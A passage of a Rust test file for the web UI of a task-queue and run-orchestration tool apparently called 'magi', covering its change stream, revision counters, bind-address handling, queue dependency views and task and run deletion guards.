let expected: std::collections::BTreeSet<&str> =
["allow-popups", "allow-popups-to-escape-sandbox"]
.into_iter()
.collect();
assert_eq!(tokens, expected, "sandbox tokens must match exactly");
assert!(
!tokens.contains("allow-scripts"),
"allow-scripts must never be present in sandbox"
);
assert!(
!tokens.contains("allow-same-origin"),
"allow-same-origin must never be present in sandbox"
);
}
#[test]
fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
assert!(
APP_JS.contains(
" }\n if (state.queueSearch.trim() !== \"\") {\n state.queueSearch = \"\";"
),
"the search-clearing branch must run before state.queueFocus is cleared, or the \
recursive renderQueue() call has nothing left to jump to"
);
assert!(
APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
"state.queueFocus must be cleared only once the jump has landed, so a card that \
arrives later still gets it"
);
assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
assert!(APP_JS.contains("is not in the current Backlog."));
assert!(APP_JS.contains("li.card[data-task-id=\""));
assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
assert!(APP_CSS.contains(".card-permalink"));
assert!(APP_CSS.contains(".queue-focus-status"));
assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
}
#[test]
fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
assert!(
APP_JS.contains(
"onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
),
"the notice card itself must forward a tap outside its link/buttons to the link's own click"
);
}
#[test]
fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
assert!(
APP_JS.contains("round.verified_head !== round.head"),
"a round that verified an earlier commit must be visibly distinct from one that \
verified the head reviewers are looking at now"
);
assert!(
APP_JS.contains("round.verified_at"),
"when a check ran must be on the wire, not just which commit"
);
assert!(
APP_JS.contains("resource_blocked"),
"a command magi never got to run (shared build cache contention) must not render \
the same as a command that ran and failed"
);
}
#[test]
fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
assert!(
APP_JS.contains("onClick: () => openRunsFiltered(status)"),
"every KPI tile built through statusTile() must route its click through \
openRunsFiltered, the single place that sets the Runs filter"
);
for (label, status) in [
("Merged", "merged"),
("Ready", "ready"),
("Blocked", "blocked"),
("Stalled", "stalled"),
] {
let call = format!("statusTile(\"{label}\", t.{status}, ");
assert!(
APP_JS.contains(&call),
"expected the {label} KPI tile built via {call}..."
);
assert!(
APP_JS.contains(&format!("status === \"{status}\"")),
"\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
compare a run against, not one invented only for the stats tile"
);
}
assert!(
APP_JS.contains("function openRunsFiltered(status)"),
"openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
);
assert!(
APP_JS.contains(
"if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
),
"matchesFilter must gate on the statuses of the bucket a KPI tile named"
);
assert!(
APP_JS.contains(" location.hash = \"#runs\";\n applyRoute();\n renderRuns();\n}"),
"openRunsFiltered must explicitly re-render the Runs list, not rely on a \
hashchange event that may never fire"
);
}
#[test]
fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
assert!(
APP_JS.contains(
" if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n state.runsFilter = { ...state.runsFilter, status: null };\n }"
),
"selectRunStateFilter must clear an incompatible status filter, mirroring its own \
guard for an incompatible tree section"
);
}
#[test]
fn every_stats_queue_tile_names_a_real_queue_section() {
assert!(
APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
"every queue tile built through sectionTile() must route its click through \
openQueueSectionFocus"
);
for key in ["upnext", "running", "done", "held", "blocked"] {
assert!(
APP_JS.contains(&format!("{{ key: \"{key}\",")),
"QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
);
}
for line in [
"sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
"sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
"sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
"sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
"sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
"sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
] {
assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
}
}
#[test]
fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
assert!(APP_JS.contains("function revealQueueSection(details)"));
assert!(
APP_JS.contains("consumeQueueFocus();\n consumeQueueSectionFocus();"),
"renderQueue() must consume both focus channels on every pass"
);
assert!(
APP_JS.contains(
" const key = state.queueSectionFocus;\n if (!key || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
),
"the search-clearing branch must run before state.queueSectionFocus is cleared, or \
the recursive renderQueue() call has nothing left to reveal"
);
assert!(
APP_JS.contains(
" const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n state.queueSectionFocus = null;\n if (details) revealQueueSection(details);"
),
"state.queueSectionFocus must only be cleared immediately before the reveal it guards"
);
assert!(
APP_JS.contains(" location.hash = \"#queue\";\n applyRoute();\n renderQueue();\n}"),
"openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
hashchange event that may never fire"
);
}
#[tokio::test]
async fn the_change_stream_announces_the_current_revisions_on_connect() {
let f = Fixture::start().await;
let mut socket = tokio::net::TcpStream::connect(f.addr)
.await
.expect("connect");
socket
.write_all(
b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
)
.await
.expect("write request");
let mut seen = String::new();
let mut buf = [0u8; 1024];
while !seen.contains("event: change") {
let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
.await
.expect("the stream must speak within five seconds")
.expect("read");
assert!(read > 0, "the server closed the change stream: {seen}");
seen.push_str(&String::from_utf8_lossy(&buf[..read]));
}
assert!(
seen.to_lowercase()
.contains("content-type: text/event-stream"),
"the browser only reconnects automatically for a real SSE stream: {seen}"
);
let data = seen
.lines()
.find_map(|l| l.strip_prefix("data:"))
.expect("a data line");
let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
assert!(
payload["queue_rev"].is_u64()
&& payload["runs_rev"].is_u64()
&& payload["questions_rev"].is_u64()
&& payload["talks_rev"].is_u64()
&& payload["notifications_rev"].is_u64()
&& payload["loop_rev"].is_u64(),
"the client needs one revision per store to know what to refetch, \
and `talks_rev` is the only notification a standing talk gets - a \
phone whose radio slept through a turn learns about it here, as \
does one whose operator started the loop from another device: \
{payload}"
);
let health = f.get("/api/health").await.json();
for key in [
"queue_rev",
"runs_rev",
"questions_rev",
"talks_rev",
"notifications_rev",
"loop_rev",
] {
assert!(
health[key].is_u64(),
"health is the change stream's fallback and is missing `{key}`: {health}"
);
}
}
#[tokio::test]
async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
let f = Fixture::start().await;
let before = f.get("/api/health").await.json()["talks_rev"]
.as_u64()
.expect("talks_rev");
let talk = seed_talk(&f, "20260904-014455-ab12", "open");
std::thread::sleep(Duration::from_millis(10));
let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
on_disk.turns.push(crate::talk::Turn {
sender: None,
breaks: Some(Vec::new()),
messages: Vec::new(),
posted_by: None,
who: crate::talk::Who::Operator,
body: "a new turn".to_owned(),
at: Timestamp::now(),
attachments: Vec::new(),
usage: None,
});
f.talks().put(&mut on_disk).expect("record a turn");
let after = tokio::time::timeout(Duration::from_secs(5), async {
loop {
let revision = f.get("/api/health").await.json()["talks_rev"]
.as_u64()
.unwrap();
if revision != before {
break revision;
}
tokio::time::sleep(Duration::from_millis(50)).await;
}
})
.await
.expect("shared monitor observes external turn");
assert_ne!(
before, after,
"a phone must be able to notice a talk's reply without polling every store"
);
}
#[test]
fn bind_reads_back_from_the_spelling_the_cli_prints() {
for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
}
assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
assert!("everywhere".parse::<Bind>().is_err());
}
#[test]
fn an_explicit_bind_address_is_taken_verbatim() {
let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
let (addr, warning) = resolve_bind(&Bind::Addr(asked));
assert_eq!(addr, asked);
assert!(
warning.is_none(),
"an operator who named an address gets no lecture"
);
}
#[test]
fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
let (addr, warning) = resolve_bind(&Bind::Auto);
match addr {
IpAddr::V4(ip) if is_tailnet(&ip) => {
assert!(warning.is_none(), "a tailnet address needs no warning");
}
other => {
assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
let warning = warning.expect("a fallback has to explain itself");
assert!(
warning.contains("127.0.0.1") && warning.contains("local-only"),
"the warning says what happened and what it costs: {warning}"
);
}
}
}
#[test]
fn only_the_cgnat_block_counts_as_a_tailnet_address() {
assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
}
#[test]
fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
let ids = vec![
"20260902-140501-aaaa".to_owned(),
"20260902-140502-aabb".to_owned(),
];
let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
assert_eq!(missing.status, StatusCode::NOT_FOUND);
assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
assert_eq!(short, "20260902-140502-aabb");
}
#[tokio::test]
async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
let fx = Fixture::start().await;
let id = panel(
&fx,
"<img src=\"shot.png\">",
&[("shot.png", b"\x89PNG\r\n\x1a\n")],
);
let doc = fx
.get(&format!("/api/questions/{id}/panel/index.html"))
.await;
assert_eq!(doc.status, 200, "{}", doc.body);
assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
assert_eq!(sibling.status, 200, "{}", sibling.body);
assert_eq!(sibling.header("content-type"), Some("image/png"));
assert_eq!(
sibling.header("content-security-policy"),
Some(PANEL_CSP),
"the sibling route must carry the same policy as the asset route"
);
assert_eq!(
fx.head(&format!("/api/questions/{id}/panel")).await.status,
200
);
}
#[test]
fn delta_stamps_cover_add_update_remove_and_noop() {
let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
let delta = diff_stamps(&before, &after, 42);
assert_eq!(delta.base, 42);
assert_eq!(delta.changed, ["b", "c"]);
assert_eq!(delta.removed, ["a"]);
let same = diff_stamps(&after, &after, 43);
assert!(same.changed.is_empty() && same.removed.is_empty());
assert_ne!(stamps_revision(&before), stamps_revision(&after));
let nanos: Stamps = [("b".into(), (2, 20))].into();
let same_ms: Stamps = [("b".into(), (3, 20))].into();
assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
assert_eq!(stamps_revision(&Stamps::new()), 0);
}
fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
std::fs::create_dir_all(home.join("runs")).unwrap();
Arc::new(
Ui::new(
Queue::at(home.join("queue")),
Questions::at(home.join("questions")),
Talks::at(home.join("talks")),
home.join("runs"),
home.to_owned(),
PathBuf::from("/repo/magi"),
)
.with_worktrees_root(home.join("wt")),
)
}
#[test]
fn monitor_scan_isolates_store_failures_and_recovers() {
let home = TempDir::new().unwrap();
let ui = delta_test_ui(home.path());
std::fs::create_dir_all(ui.questions.root()).unwrap();
std::fs::write(ui.questions.root().join("q.json"), "{}").unwrap();
let before = monitor_scan(&ui, None);
std::fs::rename(ui.questions.root(), home.path().join("saved-questions")).unwrap();
std::fs::write(ui.questions.root(), "not a directory").unwrap();
std::fs::create_dir_all(ui.talks.root()).unwrap();
std::fs::write(ui.talks.root().join("new.json"), "{}").unwrap();
let during = monitor_scan(&ui, Some(before.clone()));
assert_eq!(during.0.2, before.0.2);
assert_ne!(during.0.3, before.0.3);
assert!(during.1[2].contains_key("new"));
std::fs::remove_file(ui.questions.root()).unwrap();
let after = monitor_scan(&ui, Some(during));
assert_eq!(after.0.2, 0);
assert_eq!(after.0.3, stamps_revision(&after.1[2]));
std::fs::write(ui.questions.root(), "not a directory").unwrap();
assert_eq!(monitor_scan(&ui, None).0.3, after.0.3);
}
#[tokio::test]
async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
let home = TempDir::new().unwrap();
let ui = delta_test_ui(home.path());
let mut task = Task::new(
"stream task".into(),
"text".into(),
PathBuf::from("/repo"),
Source::Human,
);
ui.queue.put(&mut task).unwrap();
let response = events(State(ui.clone())).await.into_response();
let mut stream = response.into_body().into_data_stream();
async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
.await
.unwrap()
.unwrap()
.unwrap();
let text = String::from_utf8(chunk.to_vec()).unwrap();
let data = text
.lines()
.find_map(|line| {
line.strip_prefix("data: ")
.or_else(|| line.strip_prefix("data:"))
})
.unwrap();
serde_json::from_str(data).unwrap()
}
let initial = change(&mut stream).await;
assert!(initial.get("queue_delta").is_none());
task.instruction.push_str(" changed");
ui.queue.put(&mut task).unwrap();
let updated = change(&mut stream).await;
assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
assert_eq!(
updated["queue_delta"]["changed"],
serde_json::json!([task.id])
);
assert_eq!(
updated["queue_rev"].as_u64(),
Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
);
std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
let removed = change(&mut stream).await;
assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
assert_eq!(
removed["queue_delta"]["removed"],
serde_json::json!([task.id])
);
}
#[tokio::test]
async fn delta_lists_keep_blockers_and_respect_the_run_window() {
let home = TempDir::new().unwrap();
let ui = delta_test_ui(home.path());
let queue = ui.queue.clone();
let query = |ids: Option<&str>| {
Query(ListQuery {
limit: Some(2),
ids: ids.map(str::to_owned),
})
};
let mut root = Task::new(
"root".into(),
"instruction".into(),
PathBuf::from("/repo"),
Source::Human,
);
queue.put(&mut root).unwrap();
let mut blocked = Task::new(
"blocked".into(),
"instruction".into(),
PathBuf::from("/repo"),
Source::Human,
);
blocked.block(vec![root.id.clone()], None);
queue.put(&mut blocked).unwrap();
let whole =
serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
.unwrap();
let subset = serde_json::to_value(
queue_list(State(ui.clone()), query(Some(&root.id)))
.await
.unwrap()
.0,
)
.unwrap();
assert_eq!(whole, subset, "requested root plus its blocked dependent");
let blockers = serde_json::to_value(
queue_list(State(ui.clone()), query(Some("")))
.await
.unwrap()
.0,
)
.unwrap();
assert_eq!(blockers.as_array().unwrap().len(), 1);
assert_eq!(blockers[0]["id"], blocked.id);
assert_eq!(
blockers[0]["waits_on"],
whole
.as_array()
.unwrap()
.iter()
.find(|row| row["id"] == blocked.id)
.unwrap()["waits_on"]
);
for id in [
"20260902-140501-aaaa",
"20260902-140502-bbbb",
"20260902-140503-cccc",
] {
write_run(&ui.runs, id, RunStatus::Merged);
}
let old = serde_json::to_value(
runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
.await
.unwrap()
.0,
)
.unwrap();
assert!(
old.as_array().unwrap().is_empty(),
"older updates must not enter the window"
);
let newest = serde_json::to_value(
runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
.await
.unwrap()
.0,
)
.unwrap();
assert_eq!(newest.as_array().unwrap().len(), 1);
assert_eq!(newest[0]["id"], "20260902-140503-cccc");
seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
let talks = serde_json::to_value(
talks_list(
State(ui.clone()),
query(Some("20260905-000000-d4e5")),
header::HeaderMap::new(),
)
.await
.unwrap()
.0,
)
.unwrap();
assert_eq!(talks.as_array().unwrap().len(), 1);
assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
assert_eq!(
serde_json::to_value(
talks_list(State(ui.clone()), query(Some("")), header::HeaderMap::new())
.await
.unwrap()
.0
)
.unwrap(),
serde_json::json!([])
);
}
#[tokio::test]
#[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
async fn delta_payload_benchmark() {
let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
let ui = delta_test_ui(&home);
let query = |ids: Option<String>| {
Query(ListQuery {
limit: Some(50),
ids,
})
};
let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
let talks = talks_list(State(ui.clone()), query(None), header::HeaderMap::new())
.await
.unwrap()
.0;
let queue_id = queue
.iter()
.find(|row| row.task.status == crate::queue::TaskStatus::Running)
.unwrap_or(&queue[0])
.task
.id
.clone();
let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
.await
.unwrap()
.0;
let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
.await
.unwrap()
.0;
let talks_delta = talks_list(
State(ui.clone()),
query(Some(talks[0].id.clone())),
header::HeaderMap::new(),
)
.await
.unwrap()
.0;
let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
eprintln!(
"DELTA_PAYLOAD {}",
serde_json::json!({
"queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
"runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
"talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
"counts": [queue.len(), runs.len(), talks.len()],
"blocked": queue_delta.len() - 1,
})
);
}
#[test]
fn runs_revision_moves_when_deleting_an_older_run() {
let temp = TempDir::new().expect("tempdir");
let runs = temp.path().join("runs");
std::fs::create_dir_all(&runs).expect("create runs dir");
assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
std::thread::sleep(Duration::from_millis(10));
write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
let rev_before = runs_revision(&runs);
assert!(rev_before > 0);
let old_dir = runs.join("20260901-100000-old1");
std::fs::remove_dir_all(&old_dir).expect("remove old run");
let rev_after = runs_revision(&runs);
assert_ne!(
rev_before, rev_after,
"deleting an older run must change the revision so other clients see the deletion"
);
}
fn write_state(runs: &FsPath, state: &RunState) {
let dir = runs.join(&state.id);
std::fs::create_dir_all(&dir).expect("run dir");
std::fs::write(
dir.join("run.json"),
serde_json::to_string_pretty(state).expect("serialize run"),
)
.expect("write run.json");
}
#[test]
fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
let temp = TempDir::new().expect("tempdir");
let runs = temp.path().join("runs");
std::fs::create_dir_all(&runs).expect("create runs dir");
let mut state = RunState::new(
PathBuf::from("/repo/magi"),
"main".to_owned(),
"0123456789abcdef".to_owned(),
"task".to_owned(),
Config::default(),
);
state.id = "20260902-100000-c0de".to_owned();
write_state(&runs, &state);
let rev_idle = runs_revision(&runs);
std::thread::sleep(Duration::from_millis(10));
state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
write_state(&runs, &state);
let rev_started = runs_revision(&runs);
assert_ne!(
rev_idle, rev_started,
"a seat starting must move the revision"
);
std::thread::sleep(Duration::from_millis(10));
state.seat_finished("judge-1");
write_state(&runs, &state);
let rev_finished = runs_revision(&runs);
assert_ne!(
rev_started, rev_finished,
"and clearing it again must move the revision a second time"
);
}
#[tokio::test]
async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
let fx = Fixture::start().await;
let q = fx.queue();
let mut t = Task::new(
"Task".to_owned(),
"Instruction".to_owned(),
PathBuf::from("/repo"),
Source::Human,
);
t.block(
vec!["20260101-000000-dead".to_owned()],
Some("waiting on Task 1".to_owned()),
);
t.answers.push(crate::queue::AnsweredQuestion {
question: "Which backend?".to_owned(),
answer: "SQLite".to_owned(),
});
q.put(&mut t).expect("put t");
let res = fx.get("/api/queue").await;
assert_eq!(res.status, 200);
let list = res.json();
let view = list
.as_array()
.expect("array")
.iter()
.find(|v| v["id"] == t.id)
.expect("task in list");
assert_eq!(view["status_str"], "blocked");
assert_eq!(
view["blocked_by"],
serde_json::json!(["20260101-000000-dead"])
);
assert_eq!(view["block_reason"], "waiting on Task 1");
assert_eq!(view["answers"][0]["question"], "Which backend?");
assert_eq!(view["answers"][0]["answer"], "SQLite");
let res = fx
.post(&format!("/api/queue/{}/hold", t.short()), None)
.await;
assert_eq!(res.status, 200);
let held = res.json();
assert_eq!(held["status_str"], "held");
assert_eq!(held["blocked_by"], serde_json::json!([]));
assert!(held["block_reason"].is_null());
assert_eq!(held["answers"][0]["answer"], "SQLite");
}
#[tokio::test]
async fn task_recovery_pending_decisions_block_disk_autoresume() {
let fx = Fixture::start().await;
let queue = fx.queue();
let questions = fx.questions();
let mut task = Task::new(
"Disk recovery".into(),
"Inspect".into(),
PathBuf::from("/repo"),
Source::Human,
);
task.hold_machine(crate::disk::gate(2_667_941_888, 3_221_225_472));
queue.put(&mut task).unwrap();
let mut records = Vec::new();
for node in [crate::triage::NODE, crate::triage::DEPS_NODE] {
let mut q = Question::new(
task.id.clone(),
node.into(),
"triage".into(),
"Resume recovery?".into(),
String::new(),
vec![],
);
q.routed_task = Some(task.id.clone());
questions.put(&mut q).unwrap();
records.push(q);
}
let url = format!("/api/queue/{}", task.id);
let view = fx.get(&url).await.json();
assert_eq!(view["status_str"], "held");
assert_eq!(view["blockers"].as_array().unwrap().len(), 2);
assert!(
view["recovery"]
.as_str()
.unwrap()
.contains("Disk recovery alone will not resume")
);
assert!(
view["recovery"]
.as_str()
.unwrap()
.contains("If no recovery decision is pending")
);
for blocker in view["blockers"].as_array().unwrap() {
assert!(blocker["destination"].is_null());
assert!(
blocker["next"]
.as_str()
.unwrap()
.contains("pending delivery")
);
}
for q in &mut records {
q.routed_chat = Some("owning-chat".into());
questions.put(q).unwrap();
}
let view = fx.get(&url).await.json();
for blocker in view["blockers"].as_array().unwrap() {
assert_eq!(
blocker["destination"],
serde_json::json!(["chat", "owning-chat"])
);
assert_eq!(blocker["resolves_itself"], false);
}
for q in &mut records {
q.status = ask::QuestionStatus::Answered;
questions.put(q).unwrap();
}
assert!(crate::triage::pending_for(&questions, &task));
let view = fx.get(&url).await.json();
assert_eq!(view["blockers"].as_array().unwrap().len(), 2);
assert!(
view["blockers"][0]["next"]
.as_str()
.unwrap()
.contains("not yet applied")
);
for q in &records {
task.mark_triage_applied(&q.id);
}
queue.put(&mut task).unwrap();
assert!(!crate::triage::pending_for(&questions, &task));
assert_eq!(fx.get(&url).await.json()["blockers"], serde_json::json!([]));
assert_eq!(queue.get(&task.id).unwrap().status, TaskStatus::Held);
}
#[test]
fn task_recovery_distinguishes_dependency_restoration_and_hold_ownership() {
use crate::queue::HoldSource;
let mut task = Task::new(
"Recovery".into(),
"Inspect".into(),
PathBuf::from("/repo"),
Source::Human,
);
assert!(task_recovery(&task).is_none());
task.hold_manual(Some("Operator paused".into()));
assert!(task_recovery(&task).unwrap().contains("explicitly Release"));
task.block(vec!["dependency".into()], Some("Decision needed".into()));
let text = task_recovery(&task).unwrap();
assert!(text.contains("restores held"));
assert!(text.contains("clears its dependency references"));
task.hold_source = Some(HoldSource::Machine);
task.hold_reason = crate::disk::gate(2_667_941_888, 3_221_225_472);
let view = TaskView::with_inventory(
task.clone(),
&crate::blockers::Inventory::new(vec![task.clone()], &[]),
);
let json = serde_json::to_value(view).unwrap();
assert_eq!(json["block_reason"], "Decision needed");
assert!(json["hold_reason"].as_str().unwrap().contains("2667941888"));
let recovery = json["recovery"].as_str().unwrap();
assert!(recovery.contains("not current capacity"));
assert!(recovery.contains("triage rechecks"));
assert_eq!(json["blockers"][0]["state"], "missing");
task.blocked_from = Some(TaskStatus::Queued);
assert!(!task_recovery(&task).unwrap().contains("triage rechecks"));
task.blocked_from = None;
assert!(task_recovery(&task).unwrap().contains("restores held"));
}
#[tokio::test]
async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
let fx = Fixture::start().await;
let q = fx.queue();
let mk = |title: &str| {
Task::new(
title.to_owned(),
"Instruction".to_owned(),
PathBuf::from("/repo"),
Source::Human,
)
};
let mut root = mk("root");
root.hold_manual(Some("waiting".to_owned()));
q.put(&mut root).unwrap();
let mut mid = mk("mid");
mid.block(vec![root.id.clone()], None);
q.put(&mut mid).unwrap();
let mut leaf = mk("leaf");
leaf.block(vec![mid.id.clone()], None);
q.put(&mut leaf).unwrap();
let list = fx.get("/api/queue").await.json();
let find = |id: &str| {
list.as_array()
.unwrap()
.iter()
.find(|v| v["id"] == id)
.unwrap()
.clone()
};
let leaf_view = find(&leaf.id);
assert_eq!(
leaf_view["waits_on"],
serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
);
assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
assert_eq!(
find(&mid.id)["waits_on"],
serde_json::json!([format!("{} (held)", root.short())])
);
assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
}
#[tokio::test]
async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
let fx = Fixture::start().await;
let q = fx.queue();
let mut t1 = Task::new(
"Task 1".to_owned(),
"Instruction 1".to_owned(),
PathBuf::from("/repo"),
Source::Human,
);
let run_id = "20260901-000000-r111";
t1.runs.push(run_id.to_owned());
write_run(&fx.runs(), run_id, RunStatus::Merged);
q.put(&mut t1).expect("put t1");
let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
assert_eq!(res.status, 204);
assert!(res.body.is_empty(), "204 No Content has no body");
assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
assert!(
fx.runs().join(run_id).exists(),
"run directory must not be deleted when its task is deleted"
);
let mut t2 = Task::new(
"Task 2".to_owned(),
"Instruction 2".to_owned(),
PathBuf::from("/repo"),
Source::Human,
);
t2.status = TaskStatus::Running;
q.put(&mut t2).expect("put t2");
let mut beat = crate::daemon::Status::new();
beat.current = vec![crate::daemon::Current {
worker: None,
task: t2.id.clone(),
run: "20260901-000000-r222".to_owned(),
}];
beat.updated_at = jiff::Timestamp::now();
crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
.expect("publish a heartbeat");
let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
assert_eq!(res.status, 409);
assert!(
res.json()["error"]
.as_str()
.unwrap()
.contains("live daemon")
);
assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
.expect("leave a stale heartbeat");
let mut t3 = Task::new(
"Task 3".to_owned(),
"Instruction 3".to_owned(),
PathBuf::from("/repo"),
Source::Human,
);
t3.status = TaskStatus::Running;
q.put(&mut t3).expect("put t3");
std::mem::forget(q.claim(&t3.id).expect("claim t3"));
let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
assert_eq!(res.status, 204);
assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
assert!(
q.claim(&t3.id).is_ok(),
"the stale lock went with it, so the id is claimable again"
);
let res = fx.delete("/api/queue/nonexistent").await;
assert_eq!(res.status, 404);
}
#[tokio::test]
async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
let fx = Fixture::start().await;
let runs = fx.runs();
let run_id = "20260901-000000-fold";
let mut state = RunState::new(
PathBuf::from("/repo"),
"main".to_owned(),
"abc".to_owned(),
"instruction".to_owned(),
Config::default(),
);
state.id = run_id.to_owned();
state.status = RunStatus::Merged;
state.candidates.push(crate::run::Candidate {
index: 0,
label: 'A',
agent: "a".to_owned(),
branch: "b".to_owned(),
worktree: PathBuf::from("/w"),
summary: String::new(),
stat: String::new(),
files: 1,
commits: 1,
empty: false,
failed: None,
verified_noop: None,
duration_ms: 0,
folded: true,
});
let dir = runs.join(run_id);
std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
.expect("write artifact");
std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
.expect("write run.json");
let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
assert_eq!(res.status, 204);
assert!(res.body.is_empty(), "204 has no body");
assert!(!dir.exists(), "run directory and artifacts must be deleted");
let run_running = "20260901-000000-rung";
write_run(&runs, run_running, RunStatus::Prep);
let mut beat = crate::daemon::Status::new();
beat.current = vec![crate::daemon::Current {
worker: None,
task: "20260901-000000-task".to_owned(),
run: run_running.to_owned(),
}];
beat.updated_at = jiff::Timestamp::now();
crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
.expect("publish a heartbeat");
let res = fx.delete(&format!("/api/runs/{run_running}")).await;
assert_eq!(res.status, 409);
assert!(
res.json()["error"]
